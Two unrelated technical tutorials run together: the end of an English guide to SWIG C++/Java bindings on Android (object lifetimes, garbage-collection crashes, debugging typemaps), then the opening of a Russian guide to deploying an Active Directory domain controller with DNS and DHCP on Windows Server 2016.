With SWIG, when you pass your C++ object to Java, a reference to it will be kept. So, if you abandon your object in C++, Java is still able to use it. It's not good to abandon normal pointers, of course:) But with `smart_ptr` or regular objects (non-pointers), you can just create them, send to Java, and forget. The object will be kept alive until Java is using it. You can even pass your Java object back to C++ and it will be fine.
It gets complicated when you pass Java object inherited from C++ interface (director) to C++, you have to make sure Java object is **valid** when you using it. Java object is valid until it is Garbage Collected.
#### 1. Your Java object is safe if you are using it in the scope of a function.
Even if you call it from Java as this:
```
activityModel.onCreate(new AndroidActivity());
```
Until `onCreate()` exits, your object will not be Garbage Collected. Your `new AndroidActivity()` object here is handled as a so-called JNI Local Reference. Usage in a scope of a function:
```
void ActivityModel::onCreate(IAndroidActivity *androidActivity)
{
// Any usage of 'androidActivity' here is safe
androidActivity->showToast(make_shared("Toast from C++"));
androidActivity->sendMessage(make\_shared(22, make\_shared("Greetings!")));
doAsyncTasks(androidActivity);
sendPolymorphicMessage(androidActivity);
}
```
If we store a pointer to `IAndroidActivity *androidActivity` anywhere, it will be eventually collected by GC. And we don't know when it will happen. You will just get a crash or undefined behavior.
#### 2. Your Java object is safe when you keeping a reference to it.
This is what we currently do with our `TaskScheduler` - we keeping reference.
```
public class MainActivity extends AppCompatActivity
{
// ...
private final ITaskScheduler taskScheduler = new TaskScheduler();
```
But, `TaskScheduler` by its functionality (executing tasks) should have a longer lifecycle than `MainActivity`; if we have more activities, or on simple screen rotation event - activity will be destroyed, and reference to the old `TaskScheduler` lost. It eventually will be GC'd. Better to store `TaskScheduler` in the `Application` class, as it lives until the application will be destroyed. Or store it in the static variable.
```
public class App extends Application
{
// ...
private final ITaskScheduler taskScheduler = new TaskScheduler();
```
Such an object as `ActivityModel`, holding the activity data and business logic can be stored in the scope of the `ViewModel` of particular `Activity`. In our case, it would be like.
```
public class MainViewModel extends ViewModel
{
// ...
public final ActivityModel activityModel = new ActivityModel();
```
#### 2.1. Breaking the code.
To illustrate what happens when you lose the reference to the Java director object, let's recall our C++ code from `ActivityModel.cpp`. We have a chain of lambda functions here. They are executed out of the scope of the `doAsyncTasks()` function.
```
void doAsyncTasks(IAndroidActivity *androidActivity)
{
ITaskScheduler *taskScheduler = androidActivity->getTaskScheduler();
__android_log_print(ANDROID_LOG_DEBUG, TAG, "Is main thread: %d", taskScheduler->isMainThread());
taskScheduler->executeOnBackgroundThread(
[=]()
{
__android_log_print(ANDROID_LOG_DEBUG, TAG, "Is main thread: %d", taskScheduler->isMainThread());
taskScheduler->executeOnUIThread(
[=]()
{
__android_log_print(ANDROID_LOG_DEBUG, TAG, "Is main thread: %d", taskScheduler->isMainThread());
});
});
}
// ...
void ActivityModel::onCreate(IAndroidActivity *androidActivity)
{
doAsyncTasks(androidActivity);
// ...
}
```
And let's alter our Java code a bit, to lose a reference, in `MainActivity.java`:
```
public class MainActivity extends AppCompatActivity
{
// ...
private class AndroidActivity extends IAndroidActivity
{
// ...
@Override
public ITaskScheduler getTaskScheduler()
{
// return taskScheduler; // Delete this line
// Add this line
// Creates new object and not stores a reference
return new TaskScheduler();
}
```
And to delay the lambda execution to give enough time for GC to run, in `TaskScheduler.java`
```
final class TaskScheduler extends ITaskScheduler
{
private static final Handler mainThreadHandler = new Handler();
private static final ExecutorService backgroundTaskExecutor = Executors.newSingleThreadExecutor();
// ...
@Override
public void executeOnBackgroundThread(FunctorVoid function)
{
mainThreadHandler.postDelayed(() -> {
backgroundTaskExecutor.execute(function::call);
}, 10_000); // Delay task execution by 10 seconds
}
```
Now run the application, and exactly in 10 seconds, you will get a crash. You may actually need a few tries - GC is not guaranteed to run at any particular time. If still not got a crash - please increase time significantly. This shortened log of a crash points to our `std::function` wrapper.
```
08-17 21:15:09.634 15891 15924 F libc : Fatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x6c6f675f6d6f73 in tid 15924 (pool-1-thread-1), pid 15891 (wigandroidguide)
08-17 21:15:09.778 15927 15927 F DEBUG : #03 pc 00000000000284dc /data/app/com.goldberg.swigandroidguide-Hs_uprJLKN1eGn1jdTm0eQ==/lib/arm64/libnative-lib.so (std::__ndk1::function::operator()() const+160)
08-17 21:15:09.778 15927 15927 F DEBUG : #04 pc 000000000002842c /data/app/com.goldberg.swigandroidguide-Hs\_uprJLKN1eGn1jdTm0eQ==/lib/arm64/libnative-lib.so (Java\_com\_goldberg\_swigandroidguide\_swiggenerated\_SwigAndroidGuideJNI\_FunctorVoid\_1call+48)
```
#### 3. Keep global reference using NewGlobalRef
You can call JNI function `NewGlobalRef` in C++ on Java object, this will keep a reference to it, even if you abandon the reference in Java. Then, when you are done with the object, release the reference calling `DeleteGlobalRef`. With SWIG it can be done via typemaps or another way. I didn't do this, because this solution is **unsafe**, as this is manual memory management; much safer just to keep references. Also, there is a limited count of these references. Don't know for now, but a few years ago it was about 512. It probably depends on the device's VM settings.
Debugging SWIG
--------------
### Debugging SWIG script
For debugging SWIG script `run_swig.sh` and code generation process.
* Use `-v` (Verbose) argument for verbose output.
* See other debug options by running `swig -help` in the terminal.
The line where the SWIG program is executed in `run_swig.sh` is the last line. The options you will have to add depends on your specific case.
```
swig -I${android_src_dir} -c++ -java -package com.goldberg.swigandroidguide.swiggenerated -o ${generated_cpp_file} -outdir ${generated_java_dir} SwigAndroidGuide.i
```
### Debugging generated code and runtime errors
#### Observe SWIG-generated files
As mentioned in the chapter [Calling C++ from Java](#swig_generated_files), observe the files generated with SWIG (it is explained in the linked section).
As mentioned [here](#SWIGTYPE_), you may get a file generated with the naming pattern `SWIGTYPE_`: `app/src/main/java/com/goldberg/swigandroidguide/swiggenerated/SWIGTYPE_p_std__string.java` Such a file means SWIG didn't find a way to process your type. It does the basic `pointer` wrapping, and it will go through the language boundaries, but you will not be able to use your object.
Exceptionally, for our [std::function](#std_function_file) SWIG-generated file name patterns are:
* incorrect: `SWIGTYPE_p_std__functionT_void_fF_t.java`
* correct: `SWIGTYPE_p_f___void.java`
#### Check generated code
This usually doesn't need for SWIG-generated code for arguments of simple types. But if you have added your custom typemaps, you may want to check what code was actually generated. Let's walk through the process. At first, let's write simple test for our function `setText(shared_ptr)` in `Message.h`. Edit `app/build.gradle` (git diff shown):
```
implementation 'androidx.constraintlayout:constraintlayout:1.1.3'
+ androidTestImplementation 'androidx.test:runner:1.3.0'
+ androidTestImplementation 'androidx.test.ext:truth:1.3.0'
+ androidTestImplementation 'androidx.test.ext:junit:1.1.2'
}
```
Create `app/src/androidTest/java/com/goldberg/swigandroidguide/MessageTest.java`:
```
package com.goldberg.swigandroidguide;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import com.goldberg.swigandroidguide.swiggenerated.Message;
import org.junit.Test;
import org.junit.runner.RunWith;
import static com.google.common.truth.Truth.assertThat;
@RunWith(AndroidJUnit4.class)
public class MessageTest
{
static
{
// Load C++ library.
// Alternatively it can be loaded in Application class,
// as an Android Application is created when executing Android tests.
System.loadLibrary("native-lib");
}
@Test
public void test()
{
Message message = new Message();
message.setText("Have a nice day");
assertThat(message.getText()).isEqualTo("Have a nice day");
}
}
```
Run this test, it will pass. But actually our `shared_ptr` typemap is incomplete. Now let's break it.
```
@Test
public void test()
{
Message message = new Message();
message.setText(null);
assertThat(message.getText()).isNull();
```
When executing this test, we will get a crash (shortened and comments added; see Run window on Android Studio or logcat to see this output). The call stack is read bottom-to-top:
```
// Reason of the crash
A/wigandroidguid: java_vm_ext.cc:542] JNI DETECTED ERROR IN APPLICATION: GetStringUTFChars received NULL jstring
java_vm_ext.cc:542] in call to GetStringUTFChars
java_vm_ext.cc:542] from void com.goldberg.swigandroidguide.swiggenerated.SwigAndroidGuideJNI.Message_setText(long, com.goldberg.swigandroidguide.swiggenerated.Message, java.lang.String)
// ...
// Place of crash
runtime.cc:558] native: #14 pc 0000000000031e18 /data/app/com.goldberg.swigandroidguide-O2baaPk-eJTHZyu474aE9Q==/lib/arm64/libnative-lib.so (_JNIEnv::GetStringUTFChars(_jstring*, unsigned char*)+64)
// `???` seems to be our function `convertStringFromJavaToCpp` from the typemap
runtime.cc:558] native: #15 pc 000000000002ed7c /data/app/com.goldberg.swigandroidguide-O2baaPk-eJTHZyu474aE9Q==/lib/arm64/libnative-lib.so (???)
// Function in `swig-generated/SwigAndroidGuide_wrap.cpp`
runtime.cc:558] native: #16 pc 000000000002eab8 /data/app/com.goldberg.swigandroidguide-O2baaPk-eJTHZyu474aE9Q==/lib/arm64/libnative-lib.so (Java_com_goldberg_swigandroidguide_swiggenerated_SwigAndroidGuideJNI_Message_1setText+164)
// ...
runtime.cc:558] at com.goldberg.swigandroidguide.swiggenerated.SwigAndroidGuideJNI.Message_setText(Native method)
// ...
// Call to our function in Java
runtime.cc:558] at com.goldberg.swigandroidguide.swiggenerated.Message.setText(Message.java:56)
runtime.cc:558] at com.goldberg.swigandroidguide.MessageTest.test(MessageTest.java:27)
```
From this crash report we can clearly see that broken function is `setText(shared_ptr)` in `Message.h`. How we inverstigate this? At first, we need to know which typemap is failed. Typemap description tells us it should be the `%typemap(in) std::shared_ptr` in `std_shared_ptr_to_string.i` typemap file we have used earlier:
```
// Conversion from 'jni' (JNI C type) to C++ type
%typemap(in) std::shared_ptr
{
$1 = convertStringFromJavaToCpp(jenv, $input);
}
```
To know exactly, the simplest way is to modify the typemap and check if the generated code has changed.
```
// Conversion from 'jni' (JNI C type) to C++ type
%typemap(in) std::shared_ptr
{
// TYPEMAP START
$1 = convertStringFromJavaToCpp(jenv, $input);
// TYPEMAP END
}
```
Run SWIG script `run_swig.sh` to re-generate the code. Check the generated code for this function in `SwigAndroidGuide_wrap.cpp`:
```
SWIGEXPORT void JNICALL
Java_com_goldberg_swigandroidguide_swiggenerated_SwigAndroidGuideJNI_Message_1setText(
JNIEnv *jenv, jclass jcls, jlong jarg1, jobject jarg1_, jstring jarg2) {
SwigAndroidGuide::Message *arg1 = (SwigAndroidGuide::Message *) 0 ;
std::shared_ptr< std::string > arg2 ;
std::shared_ptr< SwigAndroidGuide::Message > *smartarg1 = 0 ;
(void)jenv;
(void)jcls;
(void)jarg1_;
smartarg1 = *(std::shared_ptr< SwigAndroidGuide::Message > **)&jarg1;
arg1 = (SwigAndroidGuide::Message *)(smartarg1 ? smartarg1->get() : 0);
{
// TYPEMAP START
arg2 = convertStringFromJavaToCpp(jenv, jarg2);
// TYPEMAP END
}
(arg1)->setText(arg2);
}
```
Our newly added comments are here, it means we picked the right typemap. We know `GetStringUTFChars` with null argument caused a crash. It is in our conversion function in `std_shared_ptr_to_string.i`.
```
std::shared_ptr convertStringFromJavaToCpp(JNIEnv \*jenv, jstring javaString)
{
const char \* psz\_string = jenv->GetStringUTFChars(javaString, NULL); // Crash happened at this line
if (!psz\_string)
{
return nullptr;
}
std::shared\_ptr cppString = std::make\_shared(psz\_string);
jenv->ReleaseStringUTFChars(javaString, psz\_string);
return cppString;
}
```
Let's fix it by handling the null argument.
```
std::shared_ptr convertStringFromJavaToCpp(JNIEnv \*jenv, jstring javaString)
{
if (!javaString) return nullptr; // < Add this line
const char \* psz\_string = jenv->GetStringUTFChars(javaString, NULL);
```
Run SWIG script `run_swig.sh` to re-generate the code. Now run an Android test. It will pass. We were making changes to the typemap and re-generated the code because the problem was very simple. But for the more complex problem, you can edit the SWIG-generated code directly to find the solution faster, without the need to re-generate wrapper, and then implement it in the typemap.
Congratulations! Now you know how to debug SWIG-generated code. We have handled only the case on the C++ side. But when Java-side broke, the approach is exactly the same; the only difference is that you have to debug code generated on the Java side.
You can also run a project in Debug mode when needed to see variable values, go step-by-step, etc.
Misc
----
If you don't want to process some of your C++ code with SWIG, use `#ifndef SWIG` in the C++ code. The case may be, that you don't need or don't want to reveal some functions to Java, while they may be used on the C++ side and have to be in the `public:` section.
Conclusion
----------
That's all.
In this *part 2*, I covered complex situations when using SWIG, and cases someone may call "weird". I've made hints on how to break the code (and how to not) and how to debug SWIG.
The use-case of SWIG is quite narrow, as there are many simpler ways for cross-platform development, but I hope someone will found this tutorial and especially the practical bits & [project](https://github.com/Mr-Goldberg/SwigAndroidGuide) useful.
Best regards, and thank you for reading!
Resources
---------
* [Android Studio project](https://github.com/Mr-Goldberg/SwigAndroidGuide)
* [SWIG documentation - Java typemaps](http://www.swig.org/Doc4.0/SWIGDocumentation.html#Java_typemaps)
* [SWIG documentation - C++ & Director typemaps](http://www.swig.org/Doc4.0/SWIGDocumentation.html#Java_typemaps_c_to_java_types) | https://habr.com/ru/post/536868/ | null | en | null |
# Настраиваем и автоматизируем развёртывание Active Directory
В этой статье я бы хотел предложить вам пошаговый туториал по развёртыванию контроллера домена Active Directory на Windows Server 2016 (с графической оболочкой), а также по вводу рабочей станции в получившийся домен. Чем этот туториал может выделиться на фоне других:
1. Вместо простого "Далее, Далее, кликаем сюда, вбиваем это" я постарался дать внятное объяснение каждому шагу, каждой настройке, которую предстоит выполнить. Помимо основных понятий Active Directory, DNS и DHCP вы также сможете найти много интересной информации по всем галочкам, которые вы часто видели, но не задумывались об их назначении.
2. В конце статьи я предложу способ автоматизировать развёртывание получившегося стенда полностью **с нуля**, имея на компьютере только iso-образы ОС Windows 7 и Windows Server 2016. И никакого PowerShell. Всего одной командой.
Статья предполагает наличие у читателя лишь самых начальных знаний об устройстве сетей (на уровне "Что такое IP-адрес и DNS-адрес").
Заинтересовало что-то из вышеперечисленного? Тогда погнали.
Туториал будет происходить не в вакууме, а на конкретном виртуальном стенде, состоящим из двух виртуальных машин:
Начальное состояние стенда:
1. На машине windows\_server уже установлена ОС Windows Server 2016 Standard Evaluation (с GUI). Машина находится в состоянии "сразу после установки ОС". В процессе туториала на ней будут развернуты службы Active Directory (с доменом mydomain.com), DNS и DHCP.
2. Машина workstation выполняет роль рабочей станции. На ней установлена ОС Windows 7. Машина находится в состоянии "сразу после установки ОС". В процессе туториала она будет подключена к домену mydomain.com.
Туториал построен следующим образом (если вам интересен только конкретный пункт — смело кликайте прямо туда):
1. Объясню, [почему](#pochemu-takoy-stend) я выбрал именно такой стенд для туториала;
2. Супер-краткое [описание](#chto-takoe-active-directory) технологии Active Directory;
3. Выполняется небольшая предварительная [настройка](#nachinaem) windows\_server;
4. На windows\_server производится [включение](#vklyuchaem-nuzhnye-komponenty) необходимых компонентов;
5. На windows\_server происходит [настройка](#nastraivaem-kontroller-domena-active-directory) контроллера домена AD (совместно с DNS);
6. На windows\_server происходит [настройка](#nastroyka-dhcp-servera) сервера DHCP;
7. На windows\_server [регистрируется](#sozdayom-novogo-polzovatelya-v-domene-ad) новая учетная запись в AD;
8. На workstation происходит [подключение](#vvod-rabochey-stancii-v-domen) к домену.
В конце туториала вас ждет приятный [бонус](#avtomatiziruem) — я покажу вам как можно развернуть у себя на компьютере весь этот работающий стенд одной единственной командой. Вам понадобится только наличие двух установочных iso-образов (windows 7 и windows server 2016), да небольшой скрипт, ссылку на который я вам дам в конце статьи.
Почему такой стенд?
-------------------
Такой стенд, с моей точки зрения, отлично подходит для первого самостоятельного "прощупывания" технологии Active Directory. Он минималистичен (всего 2 виртуальные машины), занимает минимум ресурсов, но при этом изолирован и самодостаточен. Его можно развернуть даже на довольно средненьком компьютере и ноутбуке. При этом на стенде уже присутствуют основные сетевые службы (AD + DNS). DHCP хоть и необязателен для функционирования AD, всё равно был добавлен в стенд в ознакомительных целях.
**Disclaimer**
Данный туториал предлагает исключительно пробное знакомство с Active Directory. Ни при каких обстоятельствах не рекомендуется разворачивать подобную конфигурацию при решении реальных задач администрирования сетей. В самом туториале я постараюсь обратить внимание на основные моменты, которые не рекомендуется применять в реальных сетях.
Туториал предполагает подробный разбор всех шагов по настройке, с пояснениями "что, зачем и почему". Туториал ориентирован на людей, не слишком знакомых с технологиями Active Directory, DNS и DHCP, которые хотели бы немного узнать о внутренней кухне администрирования сетей с Active Directory.
Если же базовая настройка AD вызывает у вас лишь зевоту, переходите прямо [сюда](#avtomatiziruem) и посмотрите, как можно автоматизировать **весь** процесс по развёртыванию собственного стенда с AD и рабочей станцией.
Что такое Active Directory
--------------------------
Active Directory — это службы каталогов от компании Microsoft, как подсказывает нам Википедия. За этим сухим и невзрачным определением скрывается одна из важнейших технологий в администрировании сетей. Благодаря Active Directory администратор сети получает очень удобное централизованное средство управления учетными записями пользователей, групповыми политиками (в т.ч. политиками безопасности) и объектами в сети (причём Active Directory без особых проблем справляется даже с гигантскими сетями). А благодаря встроенному механизму репликации, "положить" правильно настроенные сервисы AD не так-то просто. Ну и напоследок, благодаря Windows настроить Active Directory можно буквально мышкой, так что даже совсем начинающие IT-шники смогут с этим справиться.
Несмотря на то, что технологией заведует Microsoft, она вовсе не ограничивается управлением Windows-машин — все известные Linux-дистрибутивы уже давным давно научились работать с этой технологией. Повстречаться с Active Directory не просто, а очень просто — практически каждый офис предполагает наличие этой технологии, поэтому даже самым заядлым линуксоидам было бы неплохо разбираться в азах работы Active Directory.
Начинаем
--------
Вы установили Windows Server 2016 и (надеюсь) видите следующий экран:
Эта панель — основное (графическое) средство администрирования Windows Server 2016. Здесь вы можете управлять компонентами и сервисами на вашем сервере (проще говоря, настраивать то, что умеет делать сервер). Эту же панель можно использовать и для базовых сетевых настроек Windows Server, для чего есть вкладка "Локальный сервер".
**Базовые настройки Windows Server**
Первое, что нужно сделать — это поменять сетевое имя сервера.
Сетевое имя (hostname) — это удобный способ идентификации узла в сети. Сетевое имя используется как альтернатива IP-адресу и позволяет не запоминать IP-адрес компьютера (при том, что этот адрес может меняться время от времени), а связываться с этим компьютером по его логическому названию.
Проблема в том, что по-умолчанию для Windows Server генерируется совершенно нечитаемое и неинформативное сетевое имя (я выделил его красным цветом на скриншоте).
Рабочие станции ещё могут позволить себе иметь нечитаемый Hostname, но никак не сервер. Поэтому я предлагаю поменять эту абракадабру его на что-то более разумное (например, на ADController), благо делается это быстро.
**Смена сетевого имени**
Нужно кликнуть на текущее имя сервера (отмечено красным цветом), затем во вкладке "Имя компьютера" нажать на кнопку "Изменить...", после чего ввести что-то более благоразумное:
После смены имени машину нужно будет перезагрузить.
Теперь зададим статический IP-адрес для сервера. В принципе это делать не обязательно, раз мы всё равно собрались поднимать DHCP службу, но на самом деле это хорошая практика, когда все ключевые элементы корпоративной сети имеют фиксированные адреса. Открыть меню по настройке сетевого адаптера можно из вкладки "Локальный сервер", кликнув на текущие настройки Ethernet-адаптера (тоже выделены красным цветом).
**Настройки IP для интерфейса windows\_server**
Включаем нужные компоненты
--------------------------
Для нашего стенда нам понадобится включить следующие сервисы (или, как они тут называются, роли) на Windows Server:
* Доменные службы Active Directory;
* DNS-сервер;
* DHCP-сервер.
Пройдемся вкратце по каждому из них.
### Доменные службы Active Directory
Эта роль фактически "включает" технологию Active Directory на сервере и делает его контроллером домена (под *доменом* в технологии AD понимается группа логически связанных объектов в сети). Благодаря этой роли администратор получает возможность управлять объектами в сети, а также хранить информацию о них в специальной распределенной базе данных.
Эта база данных содержит всю информацию об объектах в сети (например, именно в неё заносится информация об учётных записях пользователей). Когда человек подходит к рабочей станции и пытается выполнить вход в свою доменную учётную запись, эта рабочая станция связывается с контроллером домена с запросом на аутентификацию, и в случае успеха загружает пользовательский рабочий стол.
Однако, что же делать, если контроллер домена выйдет из строя (или просто будет недоступен для рабочих станций)? Если вы настроили только один контроллер домена, то дела ваши довольно плохи — без связи с рабочим контроллером домена пользователи не смогут выполнить вход на свои рабочие места. Поэтому в реальных сетях всегда рекомендуется устанавливать **как минимум два** контроллера на каждый домен. Каждый контроллер домена участвует в так называемом механизме *репликации*, благодаря чему все контроллеры домена имеют полную копию базы данных со всеми объектами в домене. Если по какой-то причине один из контроллеров выйдет из строя, его место всегда может занять резервный контроллер — и пользователи даже ничего не заметят.
Однако этот туториал рассчитан на простое ознакомление с технологией AD "на виртуалках", поэтому здесь не будет рассматриваться вопрос создания нескольких контроллеров AD в одном домене.
С этим пунктом все более менее понятно, а зачем же нам включать дополнительно ещё DNS-сервер?
### DNS-сервер
Обычно протокол DNS (Domain Name System) используется для обращения к узлам в сети не по их IP-адресу, а по доменному имени (строковый идентификатор), что, конечно, гораздо удобнее. Другими словами, DNS чаще всего используется для разрешения доменных имен.
Но область применения протокола DNS не ограничивается только сопоставлением хостового имени и IP-адреса, что как раз подтверждает технология Active Directory. Дело в том, что Microsoft решила построить технологию Active Directory не с нуля, а на основе протокола DNS. В частности, протокол DNS используется при определении местонахождения всех ключевых сервисов Active Directory в сети. Другими словами, рабочая станция при подключении к контроллеру домена понимает, "куда" ей надо обращаться, именно с помощью протокола DNS.
Все DNS-записи (в том числе с информацией о сервисах Active Directory) хранятся на DNS-сервере, а это значит, что нам нужно заиметь свой собственный DNS-сервер! Вот только вопрос, откуда его взять? Есть два варианта:
1. Использовать отдельную машину в роли DNS-сервера;
2. Использовать саму машину windows\_server в роли DNS-сервера.
Первый вариант, безусловно, самый правильный — именно так и надо поступать при реальном администрировании сетей (чем больше вы разносите логику по разным узлам в сети — тем лучше). Но в учебных целях я решил выбрать второй вариант (хотя бы потому, что не придётся создавать ещё одну виртуальную машину).
Именно поэтому эту роль (DNS-сервера) тоже нужно добавить к ролям машины windows\_server.
Кстати, если не добавить роль "DNS-сервер" сейчас, то в будущем у вас ещё будет такая возможность при конфигурировании контроллера домена AD.
### DHCP-сервер
Протокол DHCP (Dynamic Host Configuration Protocol) нужен для автоматической выдачи сетевых настроек узлам в сети. Под сетевыми настройками понимается IP-адрес, адрес шлюза по-умолчанию, адрес DNS-сервера, и ещё ряд других настроек. Этот протокол чрезвычайно удобен при администрировании сетей, особенно больших.
В этом туториале я использую протокол DHCP чтобы рабочая станция workstation могла получить сетевые настройки (в частности, адрес DNS-сервера) без каких-либо действий с моей стороны.
Протокол DHCP не имеет никакого отношения к технологии Active Directory, и можно было бы обойтись вовсе без него (достаточно прописать все сетевые настройки на рабочей станции самостоятельно), но я решил включить этот протокол в данный туториал просто для общего ознакомления. К тому же, такая связка "Контроллер AD — DNS-сервер — DHCP-сервер" довольно часто встречается в реальной жизни, потому что это очень удобный набор сервисов.
При этом вопрос о том, стоит ли выделять отдельную машину под DHCP-сервер, остаётся открытым. Для небольших сетей однозначно не стоит разносить DNS и DHCP-серверы по разным машинам, но для больших сетей, возможно, имеет все-таки [смысл](http://techgenix.com/active-directory-insights-part10/) задуматься об этом. В нашей же крошечной сети мы абсолютно ничего не потеряем, если включим DHCP-сервер на той же машине, что и DNS-сервер.
Что ж, довольно теории, давайте лучше перейдём к включению этих самых ролей.
### Мастер добавления ролей и компонентов
Возвращаемся на панель мониторинга (самый первый скриншот) и щелкаем на пункт "Добавить роли и компоненты". Вас поприветствует мастер добавления ролей и компонентов. Первый экран ("Перед началом работы") пропускаем, он совсем неинтересный, а вот дальше идёт экран "Выбор типа установки"
**Выбор типа установки**
Нас устраивает значение по-умолчанию (Установка ролей или компонентов"), но интересен и второй пункт — он позволяет задействовать ещё одну возможность Windows Server — инфраструктуру виртуальных рабочих мест (Virtual Desktop Environment — VDI). Эта интереснейшая технология позволяет, буквально, виртуализировать рабочее место. То есть для пользователя создаётся виртуальное рабочее место, к которому он может подключаться через тонкий клиент. Пользователь лишь видит картинку, тогда как само рабочее место может совершенно прозрачно работать где угодно.
Впрочем, технология VDI это отдельная большая тема, а в этом туториале надо сосредоточиться на контроллере AD, так что кликаем "Далее" и видим экран выбора целевого сервера.
**Выбор целевого сервера**
Мастер добавления ролей позволяет устанавливать роль не только на текущую машину, но вообще на любой добавленный сервер, и даже на виртуальный жёсткий диск. Да, если ваша Windows Server развернута на виртуальной машине (а это довольно частое явление), то вы можете администрировать эту виртуальную машину даже не запуская её! Понаблюдать за этим процессом можно, например, [здесь](http://itfreetraining.com/server/add-roles-vhd/)
Нам же такая экзотика ни к чему, так что просто выбираем единственный возможный сервер (обратите внимание, что он теперь называется ADController место непонятной абракадабры), жмём "Далее" и, наконец, попадаем на экран выбора ролей, которые нужно добавить.
**Выбор добавляемых ролей**
Выбираем три роли, о которых уже говорили ранее, и продолжаем.
**Выбор компонентов**
Теперь необходимо выбрать дополнительные компоненты. В чём разница между ролью и компонентом, можете спросить вы? О, это не такой уж и лёгкий вопрос, честно говоря!
Согласно [идеологии](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc754923(v=ws.11)?redirectedfrom=MSDN) Microsoft, роль — это набор программ, которые позволяют компьютеру предоставлять некоторые функции для пользователей в сети. Например, DNS, DHCP, контроллер домена AD — это всё роли. А вот компоненты — это набор программ, которые улучшают либо возможности ролей сервера, либо самого сервера.
При этом глядя на список "Компонентов" так сходу и не скажешь, что какие-то вещи в списке лишь "вспомогательные". Вот например, DHCP-сервер расценивается как роль, а WINS-сервер — уже как компонент. А чем SMTP-сервер хуже DNS?
В общем-то, чёткой границы между ролью и компонентом не существует. Я лично предпочитаю относиться к ролям как к большим функциональным возможностям сервера, а к компонентам — как к небольшим дополнительным аддонам.
В любом случае, дополнительные компоненты нам не нужны, так что кликаем "Далее".
После этого идёт несколько пояснительных экранов с информацией по каждой добавленной роли, но эту информацию я уже разбирал, поэтому останавливаться лишний раз не буду.
**Подтверждение устанавливаемых ролей и компонентов**
На экране подтверждения ещё раз видим все устанавливаемые роли и компоненты, после чего жмём "Установить".
Остаётся лишь дождаться, когда заполнится progress-bar, и перейти к следующему пункту туториала — настройке контроллера домена AD.
Настраиваем контроллер домена Active Directory
----------------------------------------------
Все роли и компоненты успешно добавлены, о чём свидетельствует следующий экран:
Вот только AD на сервере всё еще не работает — для этого его необходимо донастроить. Для этого нам настойчиво предлагают "Повысить роль этого сервера до уровня контроллера домена".
Погодите-ка, ЧТО?!
А чем же я занимался последние 15 минут? Я же добавлял роли, и судя по сообщению, они успешно добавились! И тут меня снова хотят заставить добавлять какие-то новые роли? В чем-то тут подвох.
Подвох тут действительно имеется, но вообще в не самом очевидном месте. Вот так выглядит предыдущий скриншот в английской версии Windows Server (картинка из интернета).
**Английская версия скриншота**
Видите разницу? В английской версии ни слова ни про какие роли! Про повышение есть, про роли — нет. Один из тех случаев, когда перевод вносит сумятицу на пустом месте. Согласно английской версии, никакими ролями мы дальше не занимаемся, что и логично, ведь мы их как раз только что добавили.
Что ж, тыкаем на предложение "Повысить роль этого сервера до уровня контроллера домена", и теперь нас привествует мастер настройки доменных служб Active Directory с предложением выбрать конфигурацию развёртывания.
**Конфигурация развёртывания**
Всего тут есть 3 варианта развития событий. Для того, чтобы выбрать правильный пункт, давайте сначала разберёмся, что эти пункты означают. В этом нам поможет вот такая картинка (картинка, если что, [отсюда](https://xakep.ru/2017/06/09/howto-ad-terms/)):
Технология Active Directory (как и DNS) подразумевает иерархическое построение имён на основе доменов. Домены могут выстраиваться в доменные деревья по принципу "родительско-дочерних" отношений. В основе дерева лежит так называемый корневой домен (на картинке выше это sources.com, xyz.com и abc.com). При этом домен может иметь сколько угодно потомков. Домен-потомок располагается в пространстве имён родителя и является его "поддоменом" (subdomain). У доменного имени домена-потомка есть дополнительный префикс относительно доменного имени родителя (rus.abc.com, eng.abc.com). Один корневой домен основывает только одно доменное дерево со своим независимым пространством имён.
Теперь представьте, что таких независимых деревьев может быть много — в этом случае эти деревья образуют структуру, которая называется "лес". При этом в Active Directory доменные деревья не могут быть "сами по себе" — они обязательно должны находиться в лесу (даже если лес будет состоять всего из одного-единственного домена). Первый домен, который добавляется в лес, называется *корневым доменом леса* (на рисунке выше это sources.com). Корневой домен леса используется для идентификации всего леса (то есть если корневой домен называется sources.com, то и весь лес называется sources.com).
Теперь возвращаемся к мастеру настройки доменных имен. На этом этапе мастер предлагает следующие варианты:
1. Добавить контроллер домена в существующий домен (помните про резервирование контроллеров в домене, так ведь?). Этот вариант не для нас, ведь домена ещё никакого нет;
2. Добавить новый домен в лес. Этого мы тоже сделать не можем, т.к. и леса у нас тоже никакого нет;
3. Добавить новый лес. Это вариант как раз для нас. При этом нам тут же предлагают выбрать корневой домен для этого леса (первый домен, который будет создан в лесу).
Назовём корневой домен mydomain.com и кликнем "Далее"
**Параметры контроллера домена**
Рассмотрим возможные параметры:
1. Режим работы леса и домена. Домены в одном лесу могут работать в разных режимах в зависимости от версии Windows Server на борту. Лес должен иметь режим не выше, чем самый "старый" домен в его составе. Т.к. мы планируем использовать только Windows Server 2016, то оставим этот режим и для леса и для домена;
2. DNS-сервер. Если ранее Вы не активировали роль DNS-сервера в мастере добавления ролей, то можете сделать это сейчас (вам даже предложат такой вариант по-умолчанию);
3. Должен ли контроллер домена выступать в роли Global Catalog-сервера;
4. Включить ли режим базы данных Active Directory "только на чтение". Основная задача, которую преследует технология RODC — возможность безопасной установки собственного контролера домена в удаленных филиалах и офисах, в которых сложно обеспечить физическую защиту сервера с ролью DC. Контроллер домена RODC содержит копию базы Active Directory, доступную только на чтение. Это означает, что никто, даже при получении физического доступа к такому контроллеру домена, не сможет изменить данные в AD (в том числе сбросить пароль администратора домена) (информация взята [отсюда](https://winitpro.ru/index.php/2017/11/08/ustanovka-rodc-kontrollera-domena-na-windows-server-2016/))
А вот пункт 3 рассмотрим поподробнее, он довольно интересный.
Как я уже упоминал выше, каждый контроллер домена имеет полную и исчерпывающую информацию обо всех объектах в своём домене. Если же в домене несколько контроллеров, то они ещё и участвуют в механизме репликации, поддерживая несколько актуальных копий базы данных с объектами домена. Получается, что рабочая станция в домене может узнать информацию о любом объекте из этого домена от своего ближайшего контроллера домена.
Но что же делать, если рабочей станции нужно получить информацию об объекте из другого домена? И вот тут в дело вступает ещё один важнейший механизм технологии Active Directory, который называется глобальный каталог.
